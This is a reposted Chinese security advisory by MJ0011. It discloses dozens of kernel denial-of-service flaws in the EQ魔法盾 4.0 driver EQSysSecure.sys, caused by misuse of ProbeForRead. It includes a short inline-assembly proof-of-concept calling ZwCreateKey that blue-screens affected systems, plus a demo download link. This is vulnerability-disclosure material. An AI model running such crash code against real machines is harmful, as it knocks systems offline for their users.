EQ魔法盾 4.0增强版(version:20080902及以下)多处内核拒绝服务漏洞 's

admin 2017年4月26日03:45:36评论247 views字数 623阅读2分4秒阅读模式
摘要

作者:MJ0011EQ魔法盾的驱动程序员对用户态参数检查有一定概念,可惜没有正确理解ProbeForRead的用法,导致几乎所有的SSDT HOOK函数都存在用户态检查不正确的问题,漏洞多达数十处。

作者:MJ0011

EQ魔法盾的驱动程序员对用户态参数检查有一定概念,可惜没有正确理解ProbeForRead的用法,导致几乎所有的SSDT HOOK函数都存在用户态检查不正确的问题,漏洞多达数十处。

此漏洞可导致任意用户权限的程序可以在安装了EQ魔法盾的系统上引发蓝屏

出问题的组件:EQSysSecure.sys ,版本:2008.9.1.26 CheckSum = 0x0001EFD3 TimeStamp = 0x48BAC155

EQ魔法盾的驱动中有这样一个函数 :偏移608d处 sub_16c8d

该函数处于一个带Try..Except的结构中,使用ProbeForRead来检查参数

检查完毕后即直接用户态参数,而实际上,如果传入用户态无效地址,ProbeForRead是不会产生任何反应的,因此读写用户态缓存的代码也必须置于结构化异常处理之中。

这个问题存在于EQ的大部分HOOK函数中,有几十处之多,这里只举出一个例子:

ZwCreateKey,下面是测试代码,运行此代码后安装了EQ魔法盾的系统上即会引发蓝屏重启:

HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “ZwCreateKey”);

__asm{
push 0
push 0
push 0
push 0
push 1
push 0
push 0
call p
}

测试程序下载:http://mj0011.ys168.com ,漏洞演示下BSOD_EQ.rar

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月26日03:45:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   EQ魔法盾 4.0增强版(version:20080902及以下)多处内核拒绝服务漏洞 'shttps://cn-sec.com/archives/45595.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息